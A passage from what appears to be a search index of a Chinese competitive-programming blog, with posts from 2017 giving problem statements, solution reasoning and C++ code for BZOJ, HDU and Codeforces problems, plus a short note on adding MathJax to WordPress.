\u003c= S_i \u003c= E_i \u003c= N), 不过这种指令是询问从S_i到E_i之间的灯有多少是亮着的. 帮助FJ确保他的奶牛们可以得到正确的答案. Input # 第 1 行: 用空格隔开的两个整数N和M 第 2..M+1 行: 每行表示一个操作, 有三个用空格分开的整数: 指令号, S_i 和 E_i Output # 第 1..询问的次数 行: 对于每一次询问, 输出询问的结果. Sample Input # 4 5 0 1 2 0 2 4 1 2 3 0 2 4 1 1 4输入解释: 一共有4盏灯; 5个指令. 下面是执行的情况: 灯 1 2 3 4 Init: O O O O O = 关 * = 开 0 1 2 -\u003e * * O O 改变灯 1 和 2 的状态 0 2 4 -\u003e * O * * 1 2 3 -\u003e 1 输出在2..3的范围内有多少灯是亮的 0 2 4 -\u003e * * O O 改变灯 2 ,3 和 4 的状态 1 1 4 -\u003e 2 输出在1..4的范围内有多少灯是亮的 Sample Output # 1 2 考虑一次翻转对区间[L,R]的贡献 开着的灯数等于当前区间长度减去之前区间[L,R]内开着的灯数 也就是tree[rt].sum = r-l+1-tree[rt].sum; 对于lazy标记，无非是从0变到1，从1变到0. 手误写错了一个地方，2A 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月01日 星期三 09时51分31秒 4File Name :1230.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23const int N=1E5+7; 24int n,m; 25struct Tree 26{ 27 int lazy; 28 int sum; 29}tree[N\u003c\u003c2]; 30void PushDown(int l,int r,int","date":"2017-11-01","externalUrl":null,"permalink":"/2017/11/bzoj-1230/","section":"Posts","summary":"1230: [Usaco2008 Nov]lites 开关灯 # Time Limit: 10 Sec Memory Limit: 162 MB Submit: 1676 Solved: 874 [Submit][Status][Discuss]","tags":["lazy标记","线段树"],"title":"BZOJ 1230: [Usaco2008 Nov]lites 开关灯 (线段树区间修改，区间查询)","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=6043 题意： # n双袜子标号1到n，初始在抽屉里，每天早晨穿一双标号最小的袜子，晚上把脏袜子放到盆里，如果放完之后喷子里已经有了n-1双脏袜子，那么就要洗，然后在第二天晚上放回抽屉里。问第k天穿的是标号为几的袜子。 思路： # 手写了几个发现对于n双袜子,标号出现的情况是: 1,2,3…n,1,2,3…n-2,n-1,1,2,3…n-2,n 所以特判k\u003c=n的情况然后算循环的次数即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月01日 星期三 00时14分38秒 4File Name :6043.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23LL n,k; 24int main() 25{ 26 #ifndef ONLINE_JUDGE 27 //freopen(\"./in.txt\",\"r\",stdin); 28 #endif 29 int cas = 0 ; 30 while (~scanf(\"%lld %lld\",\u0026n,\u0026k)) 31 { 32 printf(\"Case #%d: \",++cas); 33 if (k\u003c=n) 34 { 35 printf(\"%lld\\n\",k); 36 continue; 37 } 38 k-=n; 39 LL num = (k-1)/(n-1)+1; 40 LL yu = k%(n-1); 41 if (yu==0) yu+=n-1; 42 if (num%2==1) 43 { 44 printf(\"%lld\\n\",yu); 45 } 46 else 47 { 48 if (yu\u003c=n-2) printf(\"%lld\\n\",yu); 49 else printf(\"%lld\\n\",n); 50 } 51 } 52 53 54 55 #ifndef ONLINE_JUDGE 56 fclose(stdin); 57 #endif 58 return 0; 59}","date":"2017-10-31","externalUrl":null,"permalink":"/2017/11/hdu-6043/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=6043 题意： # n双袜子标号1到n，初始在抽屉里，每天早晨穿一双标号最小的袜子，晚上把脏袜子放到盆里，如果放完之后喷子里已经有了n-1双脏袜子，那么就要洗，然后在第二天晚上放回抽屉里。问第k天穿的是标号为几的袜子。","tags":["循环节"],"title":"hdu 6043 | 2017 Multi-University Training Contest - Team 1 K KazaQ's Socks  （循环节）","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=6033 题意： # 问最大的x,满足 $$ 10^{x} \\geq 2^{m}-1 $$ 思路： # 看到指数的比较大小，直觉就是取下对数啦 其实直接可以把1忽略，因为2的幂次显然不会出现末尾是0，所以不会影响结果 两边对10取对数得到 $$ x\\leq \\log_{10} 2^{m} $$右边用换底公式就是 $$ \\frac{m}{\\log_{2}10 } $$代码： 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月31日 星期二 23时12分47秒 4File Name :6033.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23int m; 24int main() 25{ 26 #ifndef ONLINE_JUDGE 27 //freopen(\"./in.txt\",\"r\",stdin); 28 #endif 29 int cas = 0 ; 30 while (~scanf(\"%d\",\u0026m)) 31 { 32 double p = log(10)/log(2); 33 int ans = int(m/p); 34 printf(\"Case #%d: %d\\n\",++cas,ans); 35 } 36 37 #ifndef ONLINE_JUDGE 38 fclose(stdin); 39 #endif 40 return 0; 41}","date":"2017-10-31","externalUrl":null,"permalink":"/2017/10/hdu6033/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=6033 题意： # 问最大的x,满足","tags":["算法竞赛"],"title":"hdu 6033 | 2017 Multi-University Training Contest - Team 1 A   Add More Zero","type":"post"},{"categories":["其他"],"content":"查了一些资料。。发现不是要装各种插件（还不一定能用，比如和crayon冲突。。就是讲得很不清楚orz。。 又下一个win下的公式编辑器之类的软件是什么鬼啊？ 干脆记录一下必要步骤。只有一步。 1 1. 配置mathjax. 加入下面代码到该主题的header.php中 \u003chead\u003e和\u003c/head\u003e之间（要放在**\u003c?php wp_head(); ?\u003e**） 2 3 4\u003cscript src='https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.0/MathJax.js?config=TeX-MML-AM_CHTML'\u003e\u003c/script\u003e 5 6 7 8 9 10 11 12 * **换行显示（displayed mathematics）**，它的分隔符是 $$...$$和 \\[...\\] ， 13 * **行内显示（in-line mathematics）**，它的分割符号是 \\\\(...\\\\) (只有一个\\) 不记得公式语法去latex online 查看即可","date":"2017-10-31","externalUrl":null,"permalink":"/2017/10/input-formula-on-wordpress/","section":"Posts","summary":"查了一些资料。。发现不是要装各种插件（还不一定能用，比如和crayon冲突。。就是讲得很不清楚orz。。","tags":["latex"],"title":"在wordpress 中输入数学公式","type":"post"},{"categories":["ACM"],"content":"1059: [ZJOI2007]矩阵游戏 # Time Limit: 10 Sec Memory Limit: 162 MB Submit: 5251 Solved: 2512 [Submit][Status][Discuss] Description # 小Q是一个非常聪明的孩子，除了国际象棋，他还很喜欢玩一个电脑益智游戏——矩阵游戏。矩阵游戏在一个N *N黑白方阵进行（如同国际象棋一般，只是颜色是随意的）。每次可以对该矩阵进行两种操作：行交换操作：选择 矩阵的任意两行，交换这两行（即交换对应格子的颜色）列交换操作：选择矩阵的任意行列，交换这两列（即交换 对应格子的颜色）游戏的目标，即通过若干次操作，使得方阵的主对角线(左上角到右下角的连线)上的格子均为黑 色。对于某些关卡，小Q百思不得其解，以致他开始怀疑这些关卡是不是根本就是无解的！！于是小Q决定写一个程 序来判断这些关卡是否有解。 Input # 第一行包含一个整数T，表示数据的组数。接下来包含T组数据，每组数据第一行为一个整数N，表示方阵的大 小；接下来N行为一个N*N的01矩阵（0表示白色，1表示黑色）。 Output # 输出文件应包含T行。对于每一组数据，如果该关卡有解，输出一行Yes；否则输出一行No。 Sample Input # 2 2 0 0 0 1 3 0 0 1 0 1 0 1 0 0 Sample Output # No Yes 【数据规模】 对于100%的数据，N ≤ 200 思路： 纠结了一下建图，由于每个黑点可以按照行换，也可以按照列换。所以我建了一个1..n到1..2n的二分图做匹配。 左边集合是n个对角线上的点，右边集合是行号+列号。 但是每次匹配的时候，一个对角线上的点会同时消耗到匹配的行号和列号。。感觉不是很对啊。。。 实际上发现，我们只需要建立一个n到n的二分图就行了。 原因是，如果有解，那么只需要行或者列的一种变换，就可以达到规定的图案。 比如现在(2,5)是1,（2,2)和(5,5)是0，我们只需要连一条边表示(2,5)可以换到(2,2)即可，不需要连表示(2,5)可以换到(5,5)的边 原因是，如果(2,5)换到(5,5)，那么(2,2)也跟着换到了(5,2)，我们不考虑之前的(2,2)是什么，被换之后的(2,2)必须是1才符合题意，也就是换之前的(5,2)必须是1. 既然(5,2)是1，那么从(5,2)换到(5,5)即可符合条件。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月31日 星期二 21时54分23秒 4File Name :1059.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23const int N=200*2+7; 24int Link[N]; 25bool vis[N]; 26vector\u003cint\u003eedge[N]; 27int n; 28 29bool Find( int u) 30{ 31 int siz = edge[u].size(); 32 for ( int i = 0 ; i \u003c siz ; i++)","date":"2017-10-31","externalUrl":null,"permalink":"/2017/10/bzoj-1059/","section":"Posts","summary":"1059: [ZJOI2007]矩阵游戏 # Time Limit: 10 Sec Memory Limit: 162 MB Submit: 5251 Solved: 2512 [Submit][Status][Discuss]","tags":["匈牙利算法"],"title":"bzoj 1059: [ZJOI2007]矩阵游戏 (匈牙利算法)","type":"post"},{"categories":["ACM"],"content":"1191: [HNOI2006]超级英雄Hero # Time Limit: 10 Sec Memory Limit: 162 MB Submit: 5221 Solved: 2356 [Submit][Status][Discuss] Description # 现在电视台有一种节目叫做超级英雄,大概的流程就是每位选手到台上回答主持人的几个问题,然后根据回答问题的多少获得不同数目的奖品或奖金。主持人问题准备了若干道题目，只有当选手正确回答一道题后，才能进入下一题，否则就被淘汰。为了增加节目的趣味性并适当降低难度，主持人总提供给选手几个“锦囊妙计”，比如求助现场观众，或者去掉若干个错误答案（选择题）等等。 这里，我们把规则稍微改变一下。假设主持人总共有m道题，选手有n种不同的“锦囊妙计”。主持人规定，每道题都可以从两种“锦囊妙计”中选择一种，而每种“锦囊妙计”只能用一次。我们又假设一道题使用了它允许的锦囊妙计后，就一定能正确回答，顺利进入下一题。现在我来到了节目现场，可是我实在是太笨了，以至于一道题也不会做，每道题只好借助使用“锦囊妙计”来通过。如果我事先就知道了每道题能够使用哪两种“锦囊妙计”，那么你能告诉我怎样选择才能通过最多的题数吗？ Input # 输入文件的一行是两个正整数n和m(0 \u003c n \u003c1001,0 \u003c m \u003c 1001)表示总共有n中“锦囊妙计”，编号为0~n-1，总共有m个问题。 以下的m行，每行两个数，分别表示第m个问题可以使用的“锦囊妙计”的编号。 注意，每种编号的“锦囊妙计”只能使用一次，同一个问题的两个“锦囊妙计”可能一样。 Output # 第一行为最多能通过的题数p Sample Input # 5 6 3 2 2 0 0 3 0 4 3 2 3 2 Sample Output # 4 思路： 从题目向2条锦囊妙计连边，注意判重。由于有一道题答错比赛就结束，因此在hung的过程中一旦不能find就直接break掉。","date":"2017-10-31","externalUrl":null,"permalink":"/2017/10/bzoj-1191/","section":"Posts","summary":"1191: [HNOI2006]超级英雄Hero # Time Limit: 10 Sec Memory Limit: 162 MB Submit: 5221 Solved: 2356 [Submit][Status][Discuss]","tags":["匈牙利算法"],"title":"BZOJ 1191: [HNOI2006]超级英雄Hero (匈牙利)","type":"post"},{"categories":["ACM"],"content":"题目链接： 题目链接 题意： # 一段程序，最多5E5个操作，每个操作的格式为 \u003copt,x\u003e ，opt表示位或，位异或，位与 三种位运算的一种，x表示范围0..1023的数。现在要求将该程序化简至最多 5个操作，使得对于0..1023的输入，输出与该程序同样的结果。 思路 ： # 关键在于想起，位运算还是按照二进制位的运算。我们考虑每位即可。 如果初始是0，现在变成了1，那么实际上我们并不确定，这个操作是xor 1 还是 or 1 因此我们需要两个初始的数，一个所有二进制位上都是0，另一个所有二进制位上都是1. 也就是0和1023 对于某个二进制位 如果初始的 （0，1）变成了 （1，1），那么说明这个位置上的位运算是or 如果初始的 （0，1）变成了（1，0） 那么说明这个位置上的位运算是xor 如果初始的 （0，1）变成了（0，0） 那么说明这个位置上的位运算是and 如果初始的 （0，1）变成了（1，0） 那么说明这个位置上没有进行位运算操作。 1#include \u003cbits/stdc++.h\u003e 2using namespace std; 3int main() 4{ 5 int n; 6 cin\u003e\u003en; 7 char opt[3]; 8 int x; 9 int a = 0; 10 int b = 1023; 11 for ( int i = 1 ; i \u003c= n ; i++) 12 { 13 14 cin\u003e\u003eopt\u003e\u003ex; 15 if (opt[0]=='|') a |=x,b|=x; 16 if (opt[0]=='^') a^=x,b^=x; 17 if (opt[0]=='\u0026') a\u0026=x,b\u0026=x; 18 } 19 20 21 // 01 no 22 // 11 or 23 // 10 xor 24 // 00 and 25 26 int OR=0,XOR=0,AND=1023; 27 for ( int i = 0 ; i \u003c 10 ; i++) 28 { 29 30 int A = (a\u003e\u003ei)\u00261; 31 int B = (b\u003e\u003ei)\u00261; 32 // cout\u003c\u003c\"A:\"\u003c\u003cA\u003c\u003c\" B:\"\u003c\u003cB\u003c\u003cendl; 33 if (A\u0026\u0026B) OR|=(1\u003c\u003ci); 34 if (A\u0026\u0026!B) XOR|=(1\u003c\u003ci); 35 if (!A\u0026\u0026!B) AND-=(1\u003c\u003ci); 36 } 37 cout\u003c\u003c3\u003c\u003cendl; 38 cout\u003c\u003c\"| \"\u003c\u003cOR\u003c\u003cendl; 39 cout\u003c\u003c\"^ \"\u003c\u003cXOR\u003c\u003cendl; 40 cout\u003c\u003c\"\u0026 \"\u003c\u003cAND\u003c\u003cendl; 41}","date":"2017-10-29","externalUrl":null,"permalink":"/2017/10/codeforces-div1-443a/","section":"Posts","summary":"题目链接： 题目链接 题意： # 一段程序，最多5E5个操作，每个操作的格式为 \u003copt,x\u003e ，opt表示位或，位异或，位与 三种位运算的一种，x表示范围0..1023的数。现在要求将该程序化简至最多 5个操作，使得对于0..1023的输入，输出与该程序同样的结果。","tags":["位运算","思维题"],"title":"codeforces div 1 443  A. Short Program （位运算的理解）","type":"post"},{"categories":["ACM"],"content":"题意： # 给出n个点m条边，以及已知的好点和坏点。一个边连接的2个点一定是一好一坏，问是否有合法方案，使得每个点被确定好坏。 思路： # 判断二分图。 先染已知的，再染未知的。 注意判掉没有出现的点。 注意有多个联通块。 1 2 /* *********************************************** 3 Author :111qqz 4 Created Time :2017年10月26日 星期四 12时53分06秒 5 File Name :A.cpp 6 ************************************************ */ 7 8 #include \u003cbits/stdc++.h\u003e 9 #define PB push_back 10 #define fst first 11 #define sec second 12 #define lson l,m,rt\u003c\u003c1 13 #define rson m+1,r,rt\u003c\u003c1|1 14 #define ms(a,x) memset(a,x,sizeof(a)) 15 typedef long long LL; 16 #define pi pair \u003c int ,int \u003e 17 #define MP make_pair 18 19 using namespace std; 20 const double eps = 1E-8; 21 const int dx4[4]={1,0,0,-1}; 22 const int dy4[4]={0,-1,1,0}; 23 const int inf = 0x3f3f3f3f; 24 const int N=1005; 25 const int M=1E4+7; 26 int n,m,a,b; 27 vector \u003cint\u003eedge[N]; 28 int col[N]; 29 set\u003cint\u003ese; 30 bool dfs( int u,int x) 31 { 32 col[u] = x; 33 int siz = edge[u].size(); 34 for ( int i = 0 ;i \u003c siz ; i++) 35 { 36 int v = edge[u][i]; 37 if (col[v]==1-x) continue; 38 if (col[v]==x) return false; 39 if (!dfs(v,1-x)) return false; 40 } 41 return true; 42 } 43 void pr(int a[]) 44 { 45 for ( int i = 1 ; i \u003c= n ; i++) printf(\"%d%c\",a[i],i==n?'\\n':' '); 46 } 47 vector \u003cint\u003e A,B; 48 bool appear[N]; 49 bool ran[N]; 50 int main() 51 { 52 #ifndef ONLINE_JUDGE 53 freopen(\"./in.txt\",\"r\",stdin); 54 #endif 55 while (~scanf(\"%d %d %d %d\",\u0026n,\u0026m,\u0026a,\u0026b)) 56 { 57 58 bool die = false; 59 ms(col,-1); 60 A.clear(); 61 B.clear(); 62 ms(appear,false); 63 ms(ran,false); 64 for ( int i = 0 ; i \u003c= n ; i++) edge[i].clear(); 65 for ( int i = 1 ; i \u003c= m ; i++) 66 { 67 int u,v; 68 scanf(\"%d %d\",\u0026u,\u0026v); 69 appear[u]=appear[v] = true; 70 edge[u].PB(v); 71 edge[v].PB(u); 72 } 73 for ( int i = 1 ; i \u003c= a ; i++) 74 { 75 int x; 76 scanf(\"%d\",\u0026x); 77 appear[x] = true; 78 A.PB(x); 79 ","date":"2017-10-26","externalUrl":null,"permalink":"/2017/10/2016-icpc-dalian-regional-A/","section":"Posts","summary":"题意： # 给出n个点m条边，以及已知的好点和坏点。一个边连接的2个点一定是一好一坏，问是否有合法方案，使得每个点被确定好坏。","tags":["二分图","交叉染色法"],"title":"2016 ICPC 大连 区域赛  A Wrestling Match  （交叉染色法判断二分图）","type":"post"},{"categories":["ACM"],"content":"题意： # 给出n个点，条边的无向图，无重边，无自环。现在要求把所有的无向边换成有向边，使得入度为0的点最少。问最少的入度为0的点是多少。 思路： # 对于每个联通快，如果有环，我们可以顺时针连接环上的点，以指向环的方向连接联通快上的其他点，这样就可以保证所有点的入度都不为0. 如果是树形结构，则不可避免得使得一个点的入度为0. 因此对于有环的联通块答案为0，没环的答案为1. 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月25日 星期三 20时57分54秒 4File Name :E.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23const int N = 1E5+7; 24vector \u003cint\u003eedge[N]; 25bool vis[N]; 26 27bool dfs( int u,int pre) 28{ 29 vis[u] = true; 30 // cout\u003c\u003c\"u:\"\u003c\u003cu\u003c\u003c\" pre:\"\u003c\u003cpre\u003c\u003cendl; 31 int siz = edge[u].size(); 32 for ( int i = 0 ; i \u003c siz ; i++) 33 { 34 int v = edge[u][i]; 35 if (v==pre) continue; //无向边 36 if (vis[v]||dfs(v,u)) return true; 37 } 38 return false; 39} 40int n,m; 41int main() 42{ 43 #ifndef ONLINE_JUDGE 44 freopen(\"./in.txt\",\"r\",stdin); 45 #endif 46 47 ms(vis,false); 48 cin\u003e\u003en\u003e\u003em; 49 while (m--) 50 { 51 int x,y; 52 scanf(\"%d %d\",\u0026x,\u0026y); 53 edge[x].PB(y); 54 edge[y].PB(x); 55 } 56 57 int ans = 0 ; 58 for ( int i = 1 ; i \u003c= n ; i++) 59 if (!dfs(i,-1)) ans++; 60 61 cout\u003c\u003cans\u003c\u003cendl; 62 63 64 65 #ifndef ONLINE_JUDGE 66 fclose(stdin); 67 #endif 68 return 0; 69}","date":"2017-10-25","externalUrl":null,"permalink":"/2017/10/codeforces-346-div2-e/","section":"Posts","summary":"题意： # 给出n个点，条边的无向图，无重边，无自环。现在要求把所有的无向边换成有向边，使得入度为0的点最少。问最少的入度为0的点是多少。","tags":["计数问题"],"title":"codeforces #346 div 2 E. New Reform (和图有关的的计数)","type":"post"},{"categories":["ACM"],"content":"Description # lxhgww最近迷上了一款游戏，在游戏里，他拥有很多的装备，每种装备都有2个属性，这些属性的值用[1,10000]之间的数表示。当他使用某种装备时，他只能使用该装备的某一个属性。并且每种装备最多只能使用一次。 游戏进行到最后，lxhgww遇到了终极boss，这个终极boss很奇怪，攻击他的装备所使用的属性值必须从1开始连续递增地攻击，才能对boss产生伤害。也就是说一开始的时候，lxhgww只能使用某个属性值为1的装备攻击boss，然后只能使用某个属性值为2的装备攻击boss，然后只能使用某个属性值为3的装备攻击boss……以此类推。 现在lxhgww想知道他最多能连续攻击boss多少次？ Input # 输入的第一行是一个整数N，表示lxhgww拥有N种装备 接下来N行，是对这N种装备的描述，每行2个数字，表示第i种装备的2个属性值 Output # 输出一行，包括1个数字，表示lxhgww最多能连续攻击的次数。 Sample Input # 3 1 2 3 2 4 5 Sample Output # 2 HINT # 【数据范围】 对于30%的数据，保证N \u003c =1000 对于100%的数据，保证N \u003c =1000000 Source # Day1 思路： 看到了二分图匹配的题解，但是感觉很错啊？ 正确的做法是，将武器看成边，将每个武器的2种属性看成点。 使用某种属性，就要消耗一条边。 因此如果一个联通快是树形结构，k个点，k-1条边，因此有一个属性无法被使用。 由于要求是从1开始递增得攻击，因此显然使得属性最大的点不被使用是最优的。 如果一个联通块有环，那么所有的树型都可以被使用。 注意这个联通快有无环影响计数的思维，和codeforces # 440 div2 E. Points, Lines and Ready-made Titles 很像 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月25日 星期三 17时00分25秒 4File Name :1854.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23const int N=1E6+7; 24const int M=1E4+7; 25int n; 26bool ok[M]; 27int f[M]; 28 29void init() 30{ 31 ms(ok,false); 32 for ( int i = 1 ; i \u003c M ; i++) f[i] = i; 33} 34int root ( int x) 35{ 36 if (x!=f[x]) f[x] = root(f[x]); 37 return f[x]; 38} 39int main() 40{ 41 #ifndef ONLINE_JUDGE 42 freopen(\"./in.txt\",\"r\",stdin); 43 #endif 44 45 cin\u003e\u003en; 46 init(); 47 for ( int i = 1 ; i \u003c= n ; i++) 48 { 49 int x,y; 50 ","date":"2017-10-25","externalUrl":null,"permalink":"/2017/10/bzoj-1854/","section":"Posts","summary":"Description # lxhgww最近迷上了一款游戏，在游戏里，他拥有很多的装备，每种装备都有2个属性，这些属性的值用[1,10000]之间的数表示。当他使用某种装备时，他只能使用该装备的某一个属性。并且每种装备最多只能使用一次。 游戏进行到最后，lxhgww遇到了终极boss，这个终极boss很奇怪，攻击他的装备所使用的属性值必须从1开始连续递增地攻击，才能对boss产生伤害。也就是说一开始的时候，lxhgww只能使用某个属性值为1的装备攻击boss，然后只能使用某个属性值为2的装备攻击boss，然后只能使用某个属性值为3的装备攻击boss……以此类推。 现在lxhgww想知道他最多能连续攻击boss多少次？","tags":["并查集"],"title":"BZOJ 1854: [Scoi2010]游戏  (并查集)","type":"post"},{"categories":["ACM"],"content":"题意： # 3个岛屿群，每个岛屿群有若干岛屿。现在要在岛屿之间连桥，桥的长度是1，规定2个属于相同岛屿群的岛屿的距离要大于等于3. 思路： # 一直在纠结大于等于3的距离的事情。。。其实这句话等价于，同一个岛屿，对于另外两个岛屿群，都最多只能连接1个岛屿。 那么其实，对于每一对岛屿群，是相互独立的。 对于任意一对岛屿群，设两边岛屿的数量分别为a,b 我们可以从两边各取0个，1个，最多取min(a,b) 需要注意的是，选取了端点之后有顺序的区别。 所以对于该对岛屿，答案是SUM{C[a][k] * C[b][k] * k!} (k属于0..min(a,b) ) 对于其他 两对同理。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月25日 星期三 13时55分25秒 4File Name :C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const LL mod = 998244353; 35const int N=5005; 36LL C[N][N]; 37LL fac[N]; 38void init() 39{ 40 C[1][0] = C[1][1] = 1; 41 C[2][0] = C[2][2] = 1; 42 C[2][1] = 2; 43 for ( int i = 3 ; i \u003c N ; i++) 44 { 45 for ( int j = 0 ; j \u003c= i ; j++) 46 { 47 if (j==0) 48 C[i][j] = 1; 49 else C[i][j] = (C[i-1][j] + C[i-1][j-1])%mod; 50 } 51 } 52 fac[0] = fac[1] = 1; 53 for ( int i = 2 ; i \u003c N ; i++) fac[i] = (fac[i-1] * i)%mod; 54} 55int a,b,c; 56LL ans = 1; 57int main() 58{ 59 #ifndef ONLINE_JUDGE 60 freopen(\"./in.txt\",\"r\",stdin); 61 #endif 62 init(); 63 cin\u003e\u003ea\u003e\u003eb\u003e\u003ec; 64 LL cur = 0; 65 for ( int i = 0 ; i \u003c= min(a,b) ; i++) 66 { 67 cur = ( cur + C[a][i] * C[b][i] % mod * fac[i] % mod) %mod; 68 } 69 ans = ans * cur ","date":"2017-10-25","externalUrl":null,"permalink":"/2017/10/codeforces-439-c/","section":"Posts","summary":"题意： # 3个岛屿群，每个岛屿群有若干岛屿。现在要在岛屿之间连桥，桥的长度是1，规定2个属于相同岛屿群的岛屿的距离要大于等于3.","tags":["组合数学","计数问题"],"title":"codeforces 439 C - The Intriguing Obsession  (和图有关的计数，组合数学)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：有n个整点，每个点处可以什么都不画，或者画一条垂直方向的直线，或者画一条水平方向的直线。 现在给出n个点的坐标，问最多右多少种不同的图案。(只要有一处不同，就认为两个不同） 思路： 参考题解 好菜啊不会做，转载一段题解。 和bzoj 1854的并查集思路蜜汁契合 // 看完了题解的我这样想道 首先显然可以将图分为若干个联通块。 且慢，哪里来的图？ 那就先考虑建图？ 不急不急，先来想想看每一个联通块的性质。 如果该联通块中有环的话，肯定每条边都能取到；如果联通块是一棵树，那么必有一条边取不到（具体阐述见上bzoj 1854），所以只需要知道 这个联通块中有多少条边 这个联通块是不是环 这两个信息就可以了 那么可以直接上并查集。 什么样的点可以并到一起呢？横坐标相同的或者纵坐标相同的。 有没有环怎么维护呢？看有没有加进去的边的端点本身就在一个集合里。 联通块中边的数目又怎么知道呢？这倒还挺有意思的，其实只要直接看出现过多少个横坐标或者纵坐标就可以了，因为一个横坐标或者一个纵坐标就代表一条可以选的直线，所以这块联通块的贡献就是2^(x+y)或者2^(x+y)-1 然后呢？就做完了。 然而呢？比赛结束。一天了。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月23日 星期一 15时51分51秒 4File Name :E.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=1E5+7; 35const LL mod = 1E9+7; 36struct point 37{ 38 int x,y; 39 int id; 40 bool operator \u003c ( point b) 41 { 42 return id \u003c b.id; 43 } 44}p[N]; 45 46 47vector \u003c int\u003eedge[N]; 48bool cmpx ( point a,point b) { return a.x \u003c b.x;} 49bool cmpy( point a,point b){ return a.y\u003cb.y;} 50 51int n; 52int cnt; 53set\u003cint\u003eX,Y; 54bool vis[N]; 55LL ksm ( LL a,LL b) 56{ 57 LL res = 1; 58 while (b) 59 { 60 if (b\u00261) res = res * a % mod; 61 b = b \u003e\u003e 1LL; 62 a = a * a % mod; 63 } 64 return 